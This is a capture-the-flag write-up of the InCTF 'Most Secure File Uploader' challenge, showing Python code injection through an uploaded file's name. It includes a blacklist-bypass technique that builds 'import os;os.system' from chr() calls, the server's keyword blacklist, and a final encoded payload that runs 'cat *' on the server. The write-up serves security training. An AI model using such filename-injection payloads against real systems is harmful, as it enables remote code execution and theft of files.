InCTF: The Most Secure File Uploader
Post
Cancel

# InCTF: The Most Secure File Uploader

This was the first challenge I completed on InCTF. The first thing we get is:

So going to the page we check that we need to upload a file.

At first I tried to upload a .txt file but the output was that I needed an image file:

With that in mind, I changed my file to mimic a PNG. In order to do that I did two things.

1. I changed the extension from .txt to .png
2. I added to my file the PNG file header, which is 89 50 4E 47 0D 0A 1A 0A.

Then, I tried to upload it again. However, a strange error took place:

Mmmmm… That’s odd. My filename was experiment.png and the error, which comes from a python program, indicates that the variable ‘name’ does not exist. I tried to print something (assuming we were using python 2.x) and so that I didn’t get any errors I decided to comment the file extension:

Looks like we have some kind of blacklist in which the plus sign is included, so I tried with python 3.x print syntax.

And voilà! We managed to get command execution! Our A was printed after everything else!

Once here, I decided to look at variables in the source code, maybe the flag is there. Nonetheless, locals was blacklisted and dir() wasn’t useful at all.

Nothing. Then, I thought maybe the flag was in an external file, so I tried importing the os module. But guess what? Import was blacklisted as well.

### Solution

I finally found a solution to bypass the blacklist and be able to import modules. It consisted basically of using the chr() function, which turns a decimal integer into its corresponding ASCII character. Checking that it works:

Then, I decided to use the following code:

1 2 3 4 5 list = "import os;os.system('ls')" command = [] for i in list: command.append("chr({})".format(ord(i))) eval(''.join(command)) 

And it turned out to work!!!

Now we can only change the command from ls to cat * and we’ll get the source code of flag and the other two files!

A noticeable thing is the blacklist and the fact that the script checked if the file had both a valid header and extension.

Blacklist:

"import|os|class|subclasses|mro|request|args|eval|if|for|\%| subprocess|file|open|popen|builtins|\+|compile|execfile|from_pyfile|config|local|\|\||\&|\;|\{|\}"

Final exploit:

1 exec(''.join([chr(105),chr(109),chr(112),chr(111),chr(114),chr(116),chr(32),chr(111),chr(115),chr(59),chr(111),chr(115),chr(46),chr(115),chr(121),chr(115),chr(116),chr(101),chr(109),chr(40),chr(39),chr(99),chr(97),chr(116),chr(32),chr(42),chr(39),chr(41)]))#.png 

And we get our flag: inctf{w0w_pyth0n_mad3_my_lif3_s0_3z}`.